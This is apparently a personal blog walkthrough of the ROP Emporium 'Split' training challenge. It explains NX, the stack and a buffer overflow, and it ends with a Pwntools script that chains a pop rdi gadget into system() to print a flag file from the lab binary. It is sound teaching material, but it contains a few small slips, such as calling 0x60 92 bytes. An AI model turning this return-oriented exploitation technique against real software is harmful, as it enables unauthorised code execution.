ROP Emporium - 0x02 (Split)

ROP Emporium - 0x02 (Split)

Technically, this will be ROP Emporium challenge 0x01, but that's confusing for my blog series.  So I'll just call this by the challenge name, Split.  Quoting from the ROP Emporium website:

In this challenge the elements that allowed you to complete the ret2win challenge are still present, they've just been split apart. Find them and recombine them using a short ROP chain.

As mentioned in the previous post the idea behind the ROP challenges is that the binary is compiled with the NX bit enabled.  The NX (No-execute) bit is a technology employed by CPUs to segregate areas of memory for use by either storage of processor instructions or for storage of data. So basically the operating system will mark areas of memory as NX, and the processor will refuse to execute any code residing in that area of memory.  Since the code has to be compiled with the NX bit set it means that not all code will have this memory protection.

How can we tell if the NX bit is set though?  There are multiple ways to tell.  The one that is the easiest in my mind is the tool rabin2 that is included with the Radare2 (r2) toolset. Rabin2 can be used to pull information out of a binary like strings, compile time, and other useful information. I normally use this before starting any serious analysis so I can get the gist of what a program may be doing. I start off by appending the -I flag. This will give us important information about the binary. You can follow the install instructions for r2 here, or you can simply trust my code snippets.

tar xzvf 4.3.1.tar.gz
cd radare2-4.3.1/
./configure --prefix=/usr
make -j8
sudo make install

Additionally, getting the information is easy using the Pwntools library, and the following snippet:  system = p64(elf.symbols.system)  

As we can see in the screenshot above the NX bit is set to True.  Therefore, we need to build a ROP chain to circumvent this challenge. Using Binary Ninja I have begun looking at what is actually happening in the code.  the screenshot below shows the main function getting called.  It performs some output and then calls the function pwnme.  Finally it returns from the main function.  

In the screenshot below we can see the pwnme function that is called in main which has the vulnerability we will be exploiting.  The compiled program allocates 0x20 or 32 bytes on the stack for a buffer as the variable var_28. However, a few lines lower the fgets function reads in 0x60 which is 92 bytes from standard in.  This is clearly the problem that is intended to be exploited.  

Let's take a quick look at why this is a vulnerability and specifically do a refresh on stacks.  The stack segment contains a stack, one entry/output, commonly known as the LIFO structure.  Think of Pringles being a LIFO chips go in and the top ones come out first. For an x86 architecture, the stack grows downward, meaning that newer data will be allocated at addresses less than elements pushed to the stack earlier.  The image of the stack shown below is pulled from the following blog post. This blog does a great job of putting together a basic C program to follow along and see exactly how the stack works.  I highly recommend taking 10 minutes to read and understand the stack behavior.

It should be noted that strings will grow upwards, whereas the stack will grow downwards. This will allow our exploit to function because we can overflow a local buffer and overwrite the return address, instead of returning the function that called it.  This means that we can get the function to return anywhere we control.  This is more or less the same as calling arbitrary functions in assembly, and will allow our exploit to completely bypass a NX stack.  

Therefore, instead of executing code on the stack, we simply push a chain of addresses to the stack.  Each of these addresses will point to what is commonly known to as a ROP gadget, or just gadget.  These will be our building blocks to write nearly any program that we want. For example, if we wanted to call the system() function we would only need to find a reference to system() in the binary and some gadget that allows us to either push a value to the stack (for x86 binaries) or move a value to the RDI register (for x64 binaries).  

Wait... where is our command we need to issue system('/bin/cat flag.txt')?  Let's look around for it.  The first place I am going to look is the strings command built into Binary Ninja.  Oh look, there it is.  Double clicking the address will show in the Linear breakdown where this value is defined.  

So the system command we want to use is defined as a variable shown in the screenshot above, but how are we going to call it?  If we keep poking around the binary we notice there is another function called usefulFunction.  

The screenshot above is the usefulFunction which when called will move the command /bin/ls and then pass it into the function system.  Let's first see if we can even get our exploit to call that usefulFunction.   Notice the screenshot below, Binary Ninja displays the Frame offset when defining the var_28 variable which will eventually hold the standard input.

Note: I should point out that I spent a good portion of time trying to figure out why my GDB attach wasn't working only to realize that my default terminal of choice Terminator did not like to play nice.  It might be easiest to just run everything in a vanilla Ubuntu build.

At this point we should have everything we need to build our ROP chain.  The string usefulString, the address of the system call, and a gadget to add the usefulString to the RDI register.  More or less the last one needs to be pop rdi; ret.  Now we can put it all together. This is what the full exploit looks like using Pwntools.

#/usr/bin/env python
from pwn import *

# Set up pwntools to work with this binary
elf = context.binary = ELF('split')
io = process(elf.path)

# pwntools can build our rop chain for us
rop = ROP(elf)
rop.raw(0x0000000000400883) # pop rdi; ret
rop.raw(elf.symbols['usefulString']) # address for usefulString
rop.raw(elf.symbols['system']) # address for syscall
print (rop.dump())

# inject our needed A's and then build the ropchain
exploit = 'A'*0x28 + rop.chain()
exploit += 'B' * (0x60 - len(exploit))

# interact with the process

Sources and Inspiration

Ryan Villarreal

About Ryan Villarreal